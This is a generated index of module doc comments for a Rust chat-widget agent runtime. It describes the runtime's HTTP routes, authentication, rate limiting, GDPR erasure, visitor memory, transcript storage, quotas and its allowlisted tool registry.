- **`agent-lite.http.handlers.conversations`** — REST + WS handlers for the conversation lifecycle. POST   /v1/conversations               — start a new conversation POST   /v1/conversations/:id/messages  — send a user message GET    /v1/conversations/:id           — fetch transcript snapshot DELETE /v1/conversations/:id           — end a conversation GET    /v1/conversations/:id/stream    — WebSocket upgrade; streams TranscriptChunk + AgentReply JSON text frames. POST   /v1/conversations/:id/takeover          — live takeover v1: human operator takes over POST   /v1/conversations/:id/operator-message  — operator sends a message POST   /v1/conversations/:id/release           — hand back to the agent Auth model: Every route requires `Authorization: Bearer <jwt>` — a VERIFIED HS256 access token (see [`crate::http::auth::TenantBearer`]). The tenant_id is read from the token's verified claims, never from a client string. On start_conversation that verified tenant_id is injected into the AgentConfig so analytics attribute the conversation and a misconfigured body can't impersonate another tenant. On GET the verified tenant_id must match the conversation's tenant_id to see the full transcript.  
  *embed-runtime/src/http/handlers/conversations.rs:1*
- **`agent-lite.http.handlers.embed-session`** — Public visitor-runtime session bootstrap (§0.1 §5). POST /v1/embed/:widget_id/session → 201 { conversation_id, visitor_tier, memory_preamble? } This is the PUBLIC visitor surface — distinct from the bearer-gated `/v1/conversations` admin/runtime API. The widget runs on third-party pages and cannot hold a tenant bearer, so the route is unauthenticated but **widget-scoped**: the trusted `AgentConfig` is resolved server-side by `widget_id` (never sent from the browser; see [`crate::config_resolver`]). The visitor's consent in the body is the write-enable for persistent memory (§0.1 / GDPR Art 6). When the widget remembers + the visitor consented + a durable id resolves, the runtime recalls the visitor and seeds a returning-visitor preamble. Hardening (§0.2, all implemented): the public surface is gated by a per-widget origin allow-list + an HMAC request signature (see `embed_guard`) + a Turnstile challenge + a fixed-window rate limiter (see `http/rate_limit`). CORS is any-origin (widgets are third-party) and is NOT a security boundary — those four gates are.  
  *embed-runtime/src/http/handlers/embed.rs:1*
- **`agent-lite.http.handlers.health`** — GET /health — returns "ok" with HTTP 200. Unauthenticated, no rate limit. Wired from openalice-axum-common::health::health_handler so the implementation is shared with every other OpenAlice service.  
  *embed-runtime/src/http/handlers/health.rs:1*
- **`agent-lite.http.handlers.metrics`** — GET /metrics — Prometheus exposition-format endpoint. Exposes active conversation count and service-up gauge. Uses openalice-axum-common::metrics::MetricsBuilder + metrics_response so the response Content-Type is correct for Prometheus scraping. Since the openalice-axum-common http_metrics middleware was wired in, the response body also appends the global Prometheus recorder's text so a single scrape sees BOTH the existing agent_lite_* series AND the new http_requests_total / http_request_duration_seconds per-request series.  
  *embed-runtime/src/http/handlers/metrics.rs:1*
- **`agent-lite.http.handlers.visitors`** — GDPR Art 17 — visitor "delete my data" endpoints. DELETE /v1/embed/:widget_id/visitor/:visitor_id/memory  — erase everything the runtime has stored for a visitor, scoped to the widget namespace (§0.1; see [`crate::memory`]). Unlike recall/remember this is NOT gated on the widget's memory tier or the visitor's current was withdrawn or the tier downgraded. Auth: requires `Authorization: Bearer <tenant token>` like the rest of the surface — the request originates from the tenant's embed widget on behalf of the visitor. The bearer is validated; the visitor id is the anon/explicit id the widget holds for that visitor. DELETE /v1/embed/me?conversation_id=…  — the VISITOR-facing erasure sibling. Public posture, authed exactly like the other visitor routes (`/v1/embed/conversations/:id/*`): the opaque conversation id minted by the session bootstrap IS the capability — only its holder can erase the visitor behind it. Erases visitor-memory rows (+ leads) AND the visitor's persisted transcripts, then returns an erasure receipt; the `tracing::info!` receipt line is the audit record (no new table).  
  *embed-runtime/src/http/handlers/visitors.rs:1*
- **`agent-lite.http.insights-experiments`** — Internal per-VARIANT A/B experiment insights over the EU-sovereign local ledgers. GET /internal/insights/experiments?widget_id=<public_id>&experiment_id=<exp>[&days=<N>] Auth: `X-Internal-Secret: <INTERNAL_SECRET>` — the SAME header + env the analytics / cost / sentiment endpoints use (scope-internal-auth-only), via endpoint is OFF (503) when `INTERNAL_SECRET` is unset, so it can never be reached unauthenticated. Mounted OUTSIDE the public rate-limited surface. Scoping: the widget's `tenant_id` is resolved server-side via the same `ConfigResolver` the embed routes use, so every aggregate is bounded by BOTH `(tenant_id, widget_id)` AND the supplied `experiment_id` — one customer can never see another's experiment, and only rows tagged with this experiment are counted (baseline / other-experiment traffic is excluded). Returns `Vec<VariantMetrics>` (one row per assigned variant seen in the window). v1 reports RAW per-variant metrics + a `collecting_data` honesty flag (true when a variant has < 30 conversations) and computes NO p-values (statistical significance is a later phase — a misleading badge with N<30 is worse than none). The dashboard declares a winner only when the experiment is `done` AND `collecting_data=false` for every variant.  
  *embed-runtime/src/http/handlers/insights_experiments.rs:1*
- **`agent-lite.http.internal-conversations`** — Internal conversation-TRANSCRIPT read endpoints for the customer dashboard. GET /internal/conversations?widget_id=<wgt>&limit=<n>&cursor=<iso8601> → { "items": [ {conversation_id, started_at, ended_at?, message_count, visitor_tier?, preview} ], "next_cursor"? }   (newest first) GET /internal/conversations/{conversation_id} → { conversation_id, widget_id, started_at, ended_at?, Auth: `X-Internal-Secret: <INTERNAL_SECRET>` — the SAME header + env the rest of the /internal surface uses (scope-internal-auth-only). Mounted OUTSIDE the public rate-limited surface; the secret is the capability. ── Never 500 ──────────────────────────────────────────────────────────────── When the transcript store is the default `NullTranscriptStore` (no DB / not wired) the list returns an EMPTY page and the detail returns 404 — the endpoint is never a 500. A real store error is logged + degraded to the same empty/absent result so the dashboard always parses a valid body.  
  *embed-runtime/src/http/handlers/conversations_internal.rs:1*
- **`agent-lite.http.kb-stats`** — Internal knowledge-base statistics endpoint. Queries the `rag_chunks` table for honest, directly-measurable tenant-level metrics. GET /internal/kb/stats?widget_id=<public_id>&source_url=<https url> Auth: `X-Internal-Secret: <INTERNAL_SECRET>` — the SAME header + env the rest of the /internal surface uses (scope-internal-auth-only). The endpoint is OFF (503) when the RAG pool is not wired OR when INTERNAL_SECRET is unset — it can never be reached unauthenticated. The widget_id is resolved to a tenant_id via the config resolver (same path as /internal/analytics/summary) so an unknown widget 404s and one customer can never read another's chunk stats. Response (200 OK, application/json): { "total_chunks":    <i64>,       // rows in rag_chunks for this tenant "distinct_docs":   <i64>,       // COUNT(DISTINCT document_id) "last_indexed_at": <ISO 8601 | null>,  // MAX(created_at) "scope":           "account",   // honest label: stats are tenant-wide "source": {                     // present only when ?source_url= was "total_chunks":    <i64>,     // supplied — rows scoped to THAT url "last_indexed_at": <ISO 8601 | null> }, "sources": [                    // §kb-ultrawiki M1: per-source rollup { "source_url": <text>,      // one row per distinct source_url, "total_chunks": <i64>,     // most chunks first (cap 200) — the "last_indexed_at": <ISO 8601 | null> }  // multi-source breakdown ]                               // in ONE call instead of N ?source_url= } HONEST OMISSIONS: - "coverage %" — not measurable from the chunks table alone (would require knowing the total document corpus size, which is not tracked). - "retrieval latency" — not stored anywhere; would require live probe benchmarks, which belong in a separate observability pipeline. SCOPING NOTE: `rag_chunks` has NO `widget_id` column. The account-level fields are therefore tenant-level, not per-widget — the `scope: "account"` field makes this explicit so the dashboard can label the panel honestly. `rag_chunks` DOES carry `source_url` (the ingester upserts by `(tenant_id, source_url, chunk_index)` — see `crate::rag_ingest` on the accounts side and `openalice_rag::RagRouter::purge_source`), so a PER-SOURCE count is honestly queryable for the one source type that has a stable url: the `brand_kb_url` website crawl (§per-source-kb-stats, dashboard audit 2026-07-08 finding #1 — the Knowledge page's Website row showed hardcoded "—/—" while file/text sources show real per-source counts from `widget_kb_uploads`). File/text uploads already carry their own `chunk_count` on their `widget_kb_uploads` row (embed-accounts); this `source_url` query is the website crawl's equivalent, queried directly against the SAME `rag_chunks` table the account rollup already reads — no new table, no new crate dependency. Never 500 — a store error is logged and 502'd; an unconfigured pool 503s.  
  *embed-runtime/src/http/handlers/kb_stats.rs:1*
- **`agent-lite.http.rate-limit`** — Fixed-window rate limiter for the PUBLIC `/v1/embed/*` widget surface (§0.2). Keyed by `(client_ip, resource)` so one abusive visitor on one widget can't starve the cluster's LLM quota, while legitimate traffic from other IPs / widgets is unaffected. Two interchangeable backends, selected once at construction (M2.1): - **In-memory** (default — `EmbedRateLimiter::new` / `with_window`): a per-instance sharded `DashMap` of fixed-window buckets. Zero deps beyond `dashmap` (already a dependency), perfect for dev / single-instance. - **Redis** (`EmbedRateLimiter::new_with_redis`, wired from `REDIS_URL`): a CLUSTER-SHARED fixed-window counter. Behind multi-instance scale-out the in-memory backend caps PER REPLICA, so the effective per-(IP,widget) cap is multiplied by the replica count — a real abuse exposure on this unauthenticated money-path endpoint. The Redis backend gives ONE counter all replicas increment, restoring the true cap. See [`RedisLimiter`]. Why hand-rolled (not `governor` and not the shared `oa_framework::rate_limit::TenantRateLimit`): - `TenantRateLimit` keys off the JWT `tid` claim. The embed surface is unauthenticated (no bearer), so there is no tenant to key on — we key on IP+widget instead. Reusing it would mean bypassing its whole auth-extraction path. - `governor` is a fine crate but pulls a non-trivial dependency tree for what is a ~60-line fixed-window bucket. `dashmap` is already a dependency; we reuse it for the sharded bucket map. Algorithm (BOTH backends, identical semantics): fixed-window token bucket. Each `(ip, resource)` key owns a bucket of `capacity` tokens that refills to full when the wall-clock `window` (default 60 s) since the bucket was last reset has elapsed. One token is spent per request; an empty bucket returns the seconds until the window rolls over so the caller can emit a `Retry-After` header. A sophisticated client could double-spend at window boundaries (bounded at 2× capacity), and Traefik's per-IP edge cap catches the pathological case. The Redis backend implements the SAME window with an atomic `INCR`+`EXPIRE` Lua script (see [`RedisLimiter::check`]) so two concurrent replicas can't race the counter past the cap. Fallback / availability (M2.1): the Redis backend carries a co-located in-memory limiter. A transient Redis error (timeout, connection drop, Lua failure) does NOT hard-error the visitor's request — it FAILS OPEN to the in-memory limiter, which still enforces a per-replica cap. We deliberately degrade to "per-replica limiting" rather than "no limiting": a Redis blip must keep the endpoint *available* (it's the money path) while keeping *some* abuse bound in place, never a blanket allow. When `REDIS_URL` is unset the limiter is in-memory from the start, so dev / single-instance behaviour is byte-for-byte unchanged. Memory hygiene (in-memory backend): buckets are pruned lazily on access (a bucket whose window fully elapsed is treated as fresh, so stale entries never block) AND a periodic background task drops idle buckets so the map can't grow unbounded under a churn of distinct IPs (see [`EmbedRateLimiter::spawn_pruner`]). Redis keys self-expire via the window TTL, so the Redis backend needs no pruner.  
  *embed-runtime/src/http/rate_limit.rs:1*
- **`agent-lite.http.router`** — Axum router builder for the agent-lite HTTP/WS service. Assembles the REST + WS route surface, applies CORS (wildcard for the Embed widget embed use-case) + request tracing via tower-http, and mounts all handlers from the handlers sub-module. CORS note: the Embed widget is iframe-loaded on third-party landing pages whose origins we cannot enumerate in advance. For the conversation routes we therefore allow any origin (*). The auth headers (Authorization: Bearer …) gate sensitive operations — CORS is not a security boundary here. Route surface: POST   /v1/conversations POST   /v1/conversations/:id/messages GET    /v1/conversations/:id DELETE /v1/conversations/:id GET    /v1/conversations/:id/stream   (WS upgrade) POST   /v1/conversations/:id/takeover          (operator: human takeover) POST   /v1/conversations/:id/operator-message  (operator: send message) POST   /v1/conversations/:id/release           (operator: back to agent) POST   /v1/embed/:widgetId/session     (public visitor bootstrap) POST   /v1/embed/conversations/:id/message[/stream]  (public per-turn) GET    /v1/embed/conversations/:id/events  (public; live-takeover SSE) POST   /v1/embed/conversations/:id/stt  (public voice-in: audio→text) POST   /v1/embed/conversations/:id/attachment  (public; UNTRUSTED file upload) GET    /v1/embed/attachment/:ns/:conv/:file    (public; serve uploaded file) POST   /v1/embed/tts                     (public voice-out: text→audio) GET    /v1/embed/fillers?widget_id=…     (public, cached "thinking" clips) GET    /v1/embed/avatars                  (public VRM avatar catalog) GET    /v1/vrm/tenant/:tenantId/:fileId.vrm  (public; serve uploaded VRM) GET    /v1/kb/tenant/:tenantId/:file        (public; serve uploaded KB doc) DELETE /v1/embed/:widgetId/visitor/:visitorId/memory  (GDPR Art 17) DELETE /v1/embed/me?conversation_id=…   (GDPR Art 17; visitor-facing, receipt) GET    /health GET    /metrics GET    /internal/cost/summary             (X-Internal-Secret; cost ledger) GET    /internal/analytics/summary        (X-Internal-Secret; per-widget) GET    /internal/insights/sentiment        (X-Internal-Secret; per-widget) GET    /internal/insights/intent           (X-Internal-Secret; per-widget) GET    /internal/insights/revenue          (X-Internal-Secret; per-widget) GET    /internal/insights/knowledge-gaps   (X-Internal-Secret; per-widget) GET    /internal/insights/experiments      (X-Internal-Secret; per-variant) GET    /internal/kb/stats                  (X-Internal-Secret; tenant-level chunk stats)  
  *embed-runtime/src/http/mod.rs:1*
- **`agent-lite.http.state`** — AppState wraps Arc<AgentLite> and is the shared axum State type for all agent-lite HTTP handlers. Cheap to clone (Arc inside); safe to share across tokio tasks. The tenant_id for an authenticated request is injected at the handler layer from the bearer token (stub for MVP).  
  *embed-runtime/src/http/state.rs:1*
- **`agent-lite.http.tests`** — Integration tests for the agent-lite HTTP/WS server layer. Uses `tower::ServiceExt::oneshot` so no real TCP listener is needed — all requests are dispatched in-process, exactly like the existing conversation_test.rs pattern. Adapters: MockAdapter for LLM/STT/TTS — no live provider calls. Coverage: - POST /v1/conversations → 201 with conversation_id - POST /v1/conversations/:id/messages → 200 with reply - POST /v1/conversations without bearer → 401 - GET  /health → 200 "ok" - GET  /v1/conversations/:id for unknown id → 404 - DELETE /v1/conversations/:id → 204 then gone  
  *embed-runtime/tests/http_test.rs:1*
- **`agent-lite.http.voice-preview`** — Dashboard VOICE PREVIEW: `GET /internal/voice-preview?provider=&voice=` → a short FIXED phrase synthesised in that (provider, voice) → MP3. Auth: `X-Internal-Secret` (the dashboard's server-side proxy holds the secret; the /internal surface is NOT publicly routed). The fixed phrase means a leaked call can't synthesise arbitrary text. NOT charged to any tenant voice budget — it's a widget owner browsing the curated voice catalog (§voice-selector), not a visitor turn.  
  *embed-runtime/src/http/handlers/voice_preview.rs:1*
- **`agent-lite.http.webhook-deliveries`** — Internal DEAD-LETTER read + replay endpoints for the customer dashboard's webhook delivery-log / DLQ inspector (W1.8). GET  /internal/widgets/{public_id}/webhooks/deliveries?limit=<n> → { "items": [ {id, webhook_id, event, url, last_status?, last_error?, attempts, created_at} ] }   (newest-first) POST /internal/widgets/{public_id}/webhooks/deliveries/{dlq_id}/replay → 200 {"replayed":true,"status":<http_status>}  on success (DLQ row deleted) → 404 when the id doesn't belong to this widget → 503 when the cost-ledger or tenants replayer is unconfigured → 502 when the target rejected the re-delivery (DLQ row kept; retry-able) Auth: `X-Internal-Secret: <INTERNAL_SECRET>` — the SAME header + env the rest of the /internal surface uses (scope-internal-auth-only). Mounted OUTSIDE the public rate-limited surface; the secret is the capability. OFF (503) when INTERNAL_SECRET is unset so it's never reachable unauthenticated. ── Why a read path ──────────────────────────────────────────────────────── `webhook.rs` already PERSISTS exhausted-retry deliveries to `webhook_dead_letters` (migration 0014) via `PgDeadLetterSink`, but nothing read them back — a brand could not see which deliveries had failed. This endpoint is the read half: openalice-tenants proxies to it owner-scoped (GET /me/widgets/{id}/webhooks/deliveries) and the embed dashboard renders the DLQ. The signing SECRET is never stored in the DLQ and never returned here — only the failed-delivery metadata + the signed body. ── Replay ───────────────────────────────────────────────────────────────── The replay endpoint re-delivers a DLQ entry in ONE attempt (no retry loop). On success the row is deleted; on any failure the row is kept and the caller can retry. The replay re-fetches the CURRENT signing secret from tenants (never from the DLQ row) and re-runs the SSRF guard on the stored URL. Scoping mirrors the list endpoint: the {public_id} path segment gates ownership — a caller cannot replay another widget's DLQ entry by guessing. ── Keying ───────────────────────────────────────────────────────────────── agent-lite dead-letters by the WIDGET's public id (the same id it fetches webhooks by), so `public_id` is the natural scope key. tenants resolves the owning widget's public_id from the JWT-authenticated request before calling here, so a caller holding the shared secret still can't read another tenant's DLQ by guessing — tenants enforces ownership first. ── Never 500 ──────────────────────────────────────────────────────────────── When the cost-ledger pool is absent (VISITOR_DB_URL unset, so the DLQ is never written) the list returns an EMPTY page — the endpoint is never a 500. A real query error is logged + degraded to the same empty result so the dashboard always parses a valid body.  
  *embed-runtime/src/http/handlers/webhook_deliveries.rs:1*

### agent-lite/mailer
- **`agent-lite.mailer.brevo`** — Transcript-email notifications via Brevo (transactional email API, §Slice 4). When a conversation ends, OPTIONALLY email the full transcript to a per-widget notification address the customer configures (`AgentConfig.transcript_email`). Activation is gated on BOTH: 1. the process-wide `BREVO_API_KEY` env var — read ONCE at startup; with no key the mailer is DISABLED (logged once) and every `send_transcript` is a graceful no-op (it NEVER errors a request path); and 2. the per-widget `transcript_email.enabled` flag + a valid `to_address`. SAFETY (load-bearing): sending is STRICTLY fire-and-forget at the call site (the conversation-end path spawns it detached). A send failure (no key, DNS, timeout, non-2xx) NEVER affects the conversation outcome, latency, or response. When the mailer is disabled OR the widget hasn't opted in, behaviour is byte-identical to a build without this feature. The Brevo HTTP shape: POST https://api.brevo.com/v3/smtp/email with header `api-key: $BREVO_API_KEY` and JSON `{ sender, to, subject, htmlContent }`. The reqwest client carries a 30s timeout (the lib-hardening lesson — never hold a connection open unbounded).  
  *embed-runtime/src/mailer.rs:1*

### agent-lite/memory
- **`agent-lite.memory.inmemory`** — `InMemoryVisitorMemory` — DashMap-backed visitor store for tests + single-pod dev. Upserts a `VisitorProfile` on `remember`, returns a clone on `recall`, drops it on `forget` (GDPR Art 17). Not durable across restarts — production swaps in a Redis (session) or Postgres (durable/identified) adapter behind the same `VisitorMemory` trait.  
  *embed-runtime/src/memory/inmemory.rs:1*
- **`agent-lite.memory.null`** — `NullVisitorMemory` — the stateless default. Recall is always `None`, remember is a no-op, forget reports nothing existed. This is what a Starter-tier / `MemoryTier::Null` widget runs with: agent-lite stays fully stateless unless a tenant opts into a higher tier.  
  *embed-runtime/src/memory/null.rs:1*
- **`agent-lite.memory.postgres`** — `PostgresVisitorMemory` — production Postgres-backed visitor store. Tables (see migrations/0001_visitor_memory.sql): - `visitor_profiles` — one row per composite key `{widget_id}:{visitor_id}`. - `visitor_facts`    — append-only durable fact log, CASCADE-deleted on forget. Design notes: - Uses runtime `sqlx::query` / `sqlx::query_as` — NOT the `query!` compile-time macros — so the crate builds without a live DATABASE_URL in the environment. - PII redaction (`src/memory/redact.rs`) runs inside `remember` for all kinds except "lead" before any bytes reach Postgres. - GDPR Art 17 delete: `forget` deletes the profile row; `ON DELETE CASCADE` on `visitor_facts` removes all associated facts atomically. - EU-sovereign: only calls a local PG instance (configured via VISITOR_DB_URL); no data leaves the operator's infrastructure.  
  *embed-runtime/src/memory/postgres.rs:1*
- **`agent-lite.memory.redact`** — PII redactor for visitor-memory fact text. Masks emails, phone-like strings, and long digit runs (card / IBAN-ish) before they reach the Postgres store. The `"lead"` kind is explicitly exempted — lead entries legitimately carry an email or display name (that's their purpose). All other kinds are filtered. Patterns: - Email: user@domain.tld (RFC-5321 simplified) - Phone: optional country code + groupings of 3-4 digits separated by spaces, dashes, or dots; total digit count 7-15. - Long digit run: 12+ consecutive digits (card / IBAN payload / IBAN without spaces). Shorter runs (e.g. "3 items") are left alone.  
  *embed-runtime/src/memory/redact.rs:1*
- **`agent-lite.memory.visitor-trait`** — `VisitorMemory` — optional persistent per-visitor memory layer that resolves the landing-vs-brief contradiction (landing promises "remembers every visitor"; the brief defaults embed_mode to stateless). agent-lite stays stateless-first: the default tier is `Null`. Tenants opt a widget into a higher tier and the runtime recalls a returning visitor's profile. Consent-gated, retention- bound, GDPR-deletable (Art 17). NO device fingerprinting — visitor ids are anon (session/cookie) or explicit (email lead / host data-user). Same pluggable-trait shape as `BrandKnowledge`: a real Redis / Postgres store swaps in without touching call sites.  
  *embed-runtime/src/memory/mod.rs:1*

### agent-lite/metrics
- **`agent-lite.metrics`** — Process-global Prometheus counters + a latency histogram for the agent-lite runtime, rendered into the `/metrics` exposition body. The shared `openalice-axum-common::metrics::MetricsBuilder` only emits un-labelled gauges/counters and has no histogram support, so this module owns the labelled series + the embedding-latency histogram directly and renders them as Prometheus text that the handler appends to the builder output. Metric inventory (names are a CONTRACT — Grafana panels key on them): - agent_lite_llm_calls_total{provider,model}   counter - agent_lite_rag_hits_total                    counter - agent_lite_rag_misses_total                  counter - agent_lite_embedding_latency_seconds         histogram - agent_lite_jwt_failures_total                counter - agent_lite_escalations_total{mode}           counter - agent_lite_widget_installs_total             counter  ← pilot funnel: install signal - agent_lite_soft_stops_total{cause}           counter  ← pilot funnel: cap/balance blocks - agent_lite_human_handoffs_total              counter  ← pilot funnel: operator takeover - agent_lite_provider_errors_total{stage}      counter  ← pilot health: llm/stt/tts failures - agent_lite_anomaly_alerts_total{widget_id}   counter  ← S2 security: traffic-spike alerts fired All state is `OnceLock`-initialised process-global atomics / maps so the instrumentation call sites stay allocation-free on the hot path and need no plumbing through `AppState`.  
  *embed-runtime/src/metrics.rs:1*

### agent-lite/modes
- **`agent-lite.modes.brand`** — Brand mode system prompt — informational rep that answers questions about the company / products / mission with a soft conversion (newsletter, docs link). Lowest commercial pressure.  
  *embed-runtime/src/modes/brand.rs:1*
- **`agent-lite.modes.preset`** — Three mode presets — Sales / Support / Brand. Each is a system- prompt generator + behavioural envelope (escalation rules, tool surface, response style). Modes are deliberately small — they compose with the customer-authored persona_script rather than overriding it.  
  *embed-runtime/src/modes/mod.rs:1*
- **`agent-lite.modes.sales`** — Sales mode system prompt — friendly product expert, qualifies intent, captures lead info, gently pushes toward a CTA. Designed to compose with the customer's persona_script, not replace it.  
  *embed-runtime/src/modes/sales.rs:1*
- **`agent-lite.modes.support`** — Support mode system prompt — answer questions, resolve known issues, escalate unknowns. Conservative: never invent solutions, never promise refunds / SLAs.  
  *embed-runtime/src/modes/support.rs:1*

### agent-lite/quota
- **`agent-lite.quota.service`** — `QuotaService` — the usage-meter + quota-gate seam for the PRICING-V2 contract (landing at openalice.blal.pro/embed): * `consume`            — per-MESSAGE recorder, called at the start of every accepted turn. Record-only since pricing v2: a visitor mid-conversation is NEVER cut (FAQ: "A soft stop, never a surprise bill"); the tenants side always answers allowed=true. * `start_conversation` — per-CONVERSATION meter + the SOFT-STOP gate, called ONCE at the embed session bootstrap. `allowed = false` ⇒ the conversation still opens but answers with [`soft_stop_reply`] (static, no LLM) — the visitor never sees billing language. * `voice_budget_remaining` / `add_voice_seconds` — the tenant-level synthesized-voice meter. The embed TTS path pre-flights the budget (spent ⇒ 204 No Content, the widget's existing text-only fallback) and accumulates the synthesized seconds after each synth. Same pluggable shape as `ConfigResolver` / `VisitorMemory`: - `NullQuotaService` (default) — records nothing, always allows. Used by the StaticConfigResolver / NullConfigResolver (no-tenants) deployments and dev so the demo is never metered. - `TenantsQuotaService` — HTTP to openalice-tenants `/internal/billing/*` (X-Internal-Secret), per `scope-internal-auth-only`. FAIL POLICY on a transport error (tenants down / unreachable), split by whether the call incurs cost: - `consume` (record-only) FAILS OPEN — never block a reply because the meter briefly hiccuped. - `start_conversation` + `voice_budget_remaining` (cost GATES) FAIL CLOSED — deny rather than hand out a paid LLM/voice call we cannot verify the tenant has budget for. The deny degrades gracefully (soft-stop static reply / text-only 204), it does not error the page.  
  *embed-runtime/src/quota.rs:1*

### agent-lite/takeover
- **`agent-lite.takeover.event-bus`** — Per-conversation realtime event bus for live operator takeover v1 (docs/design/EMBED_LIVE_TAKEOVER_V1). The ONE new realtime primitive the design adds: a lazy `DashMap<conversation_id, broadcast::Sender<ConvEvent>>` the operator API publishes into and the visitor-facing SSE stream (`GET /v1/embed/conversations/:id/events`) subscribes to. ── Wire contract (must match openalice-embed + openalice-embed-app) ──────── Each [`ConvEvent`] renders as ONE named SSE event whose `data:` is the JSON produced by [`ConvEvent::data_json`]: ── Lifecycle ─────────────────────────────────────────────────────────────── - `subscribe` lazily creates the channel (capacity [`CONV_EVENT_CAPACITY`]). - `publish` is a no-op when no channel / no receivers exist — a takeover on a conversation whose visitor panel is closed costs nothing. - Channels for conversations with zero receivers are dropped OPPORTUNISTICALLY on the next publish (no background sweeper needed): the visitor closing the panel drops the last `Receiver`, and the next publish observes `receiver_count() == 0` and removes the entry.  
  *embed-runtime/src/conv_events.rs:1*

### agent-lite/tools
- **`agent-lite.tools.booking-api`** — Server-side accounts client for the S2 P0.5 chat booking tools (`browse_items` / `reserve_slot`) — Lily books in the dialog. embed-accounts owns the hosted page (widget_pages), the catalog shelf (blocks.shelves) and the booking calendar; the runtime reaches all of it through this narrow seam, mirroring the SecretFetcher / QuotaService pattern: - `NullBookingApi` — default; resolves nothing, so the booking tools are never offered (the no-accounts demo + tests keep their exact shape). - `AccountsBookingApi` — production; ONE X-Internal-Secret read (`GET /internal/pages/by-widget/{public_id}`, TTL-cached) gates + wires the tools, then the tools drive the SAME public surface the hosted page's own form uses (`/public/pages/{slug}` resolve + `/availability` + `POST /bookings` with `source: "chat"`), so slot math, capacity locking and validation stay in ONE place server-side. Everything returned here is DATA for the model — never instructions.  
  *embed-runtime/src/tools/booking.rs:1*
- **`agent-lite.tools.registry`** — The agent-lite tool registry — the server-side half of the ReAct loop. A `Tool` is a named, JSON-Schema-described, async-executable capability the LLM may invoke. The `ToolRegistry` owns the active (allowlisted) set for one conversation: it emits the llm-router `Tool` definitions for the request, and dispatches a model-emitted `ToolCall` to the right implementation by name. SECURITY MODEL (EU-sovereign, anti-stall): - ALLOWLIST: the registry only ever holds tools whose name is in the config `tool_allowlist`. A call for any other name is rejected server-side before execution (`tool_not_allowed`). - ARG VALIDATION: arguments are parsed + checked against the tool's required fields BEFORE execute. Invalid → a structured error result is fed back to the model, the tool is NOT run. - DATA, NOT INSTRUCTIONS: tool results are JSON observations returned to the model. They are never interpreted as commands by this layer. The eight v1 universal tools live in `universal.rs`; the accounts booking gateway (browse_items / reserve_slot) lives in `booking.rs`.  
  *embed-runtime/src/tools/mod.rs:1*
- **`agent-lite.tools.secret-fetcher`** — Server-side secret fetcher for the `perform_action` tool. When a client action declares `auth: { header, secret_name }`, agent-lite must inject the DECRYPTED secret value into the outbound request — but the value must NEVER enter the prompt, tool arguments, the model context, or logs. This trait is the narrow seam that fetches one decrypted value at the call boundary, mirroring the QuotaService / ToolAuditSink pattern: - `NullSecretFetcher` — default; always returns `None` (no secrets available). Used by the no-tenants demo + tests that exercise the no-auth happy path. - `TenantsSecretFetcher` — production; calls openalice-tenants `GET /internal/widgets/{widget_id}/secrets/{key_name}` over the shared `X-Internal-Secret` channel and returns the `{value}` payload. The fetched value is a [`SecretValue`] newtype whose `Debug` is redacted, so it can never accidentally land in a `tracing` line or panic message.  
  *embed-runtime/src/tools/secrets.rs:1*
- **`agent-lite.tools.universal`** — The eight universal v1 tools every agent-lite agent can be granted: search_knowledge   — grounded RAG lookup over the brand KB (REAL). show_ui            — render a structured UI element in the widget. navigate_page       — offer a GUIDED NAVIGATION to another host-site page. escalate_to_human  — initiate a human handoff. perform_action     — STUB seam for future client MCP/API actions. capture_lead       — write a STRUCTURED lead record from conversational intent (the agent-driven twin of the widget's own `POST /lead` contact-form endpoint). browse_items       — the widget's REAL hosted-page catalog (S2 «Полки») so the agent answers "what do you offer / cost?" from data, never hallucination. reserve_slot       — flow-aware chat booking: list a day's REAL free slots, then create the booking through the SAME accounts endpoint the hosted page's form uses (source: "chat"). The booking pair is gated on the widget having an enabled page with booking enabled — see [`super::booking::BookingApi`]. Each is a stateless unit struct; per-turn state arrives via ToolContext.  
  *embed-runtime/src/tools/universal.rs:1*

### agent-lite/transcripts
- **`agent-lite.transcripts.store`** — `InMemoryTranscriptStore` — DashMap-backed transcript store for tests + single-pod dev. Mirrors `PostgresTranscriptStore`'s observable behaviour (newest-first listing, preview from the first user message, ordered messages, retention purge) without a live DB, so the lib unit tests can exercise the full write → read → purge roundtrip.  
  *embed-runtime/src/transcript/inmemory.rs:1*
- **`agent-lite.transcripts.store`** — GDPR-guarded conversation TRANSCRIPT persistence + read surface. The dashboard wants to review past conversations (the full user/assistant transcript), but conversations themselves live only in the in-process DashMap and are dropped on end/idle. This module persists transcripts to the EU embed-visitor-db so the dashboard can list + read them, while keeping the privacy posture strict: ── GDPR posture (see migrations/0005_transcripts.sql) ─────────────────────── - OPT-IN per widget via `AgentConfig.transcript_retention_days`: default 90, `0` ⇒ do NOT store (no row ever written). The chosen retention is copied onto each conversation row at create time so the GLOBAL purge sweeper can enforce a per-widget retention from one DELETE. - Lawful basis = service improvement; the TENANT is the controller and the embed widget handles visitor disclosure (the session bootstrap surfaces `transcripts_stored` so the widget can show a disclosure line). - MINIMIZATION is by RETENTION + ERASURE, not redaction: content is the dashboard's value, so it is kept (not redacted). Erasure = the retention sweeper (cascade-deletes messages) + the existing visitor anonymize/forget path (GDPR Art 17). - ENCRYPTION AT REST (M2.3, GDPR Art-32): the durable `embed_messages.content` is AES-256-GCM encrypted (keyed by the cluster's `OA_SECRETS_MASTER_KEY`, the same secret the org uses for YT OAuth tokens + stream keys) on the WRITE path and decrypted on READ — REUSING the crate's existing [`crate::crypto`] envelope (the same `Cipher`/`seal`/`open` used for `embed_leads` PII; a verbatim mirror of the `openalice-tenants` org reference cipher). Stored values are self-describing (`enc:v1:<base64(nonce||ct+tag)>`); legacy plaintext rows (no marker) and a dev/CI boot with no master key both stay readable verbatim (no bulk migration). The `InMemoryTranscriptStore` keeps content in-process and is NOT encrypted — it never reaches durable storage (no at-rest exposure). ── Design (mirrors the cost ledger + tool-audit sink) ─────────────────────── A `TranscriptStore` trait with three impls: - `PostgresTranscriptStore` — fire-and-forget writes onto a shared PgPool (the cost-ledger pool), so a slow/failed DB write never adds latency to or fails a conversation turn. Read paths (list/get) are awaited. - `NullTranscriptStore` — no-op (the default when no DB / disabled). All writes drop; reads return empty. - `InMemoryTranscriptStore` — a DashMap-backed store for tests + dev, supporting the full write + read + purge surface without a live DB. EU-sovereign: the Postgres store uses the same local instance as visitor memory + the cost ledger (VISITOR_DB_URL). No transcript leaves the operator.  
  *embed-runtime/src/transcript.rs:1*
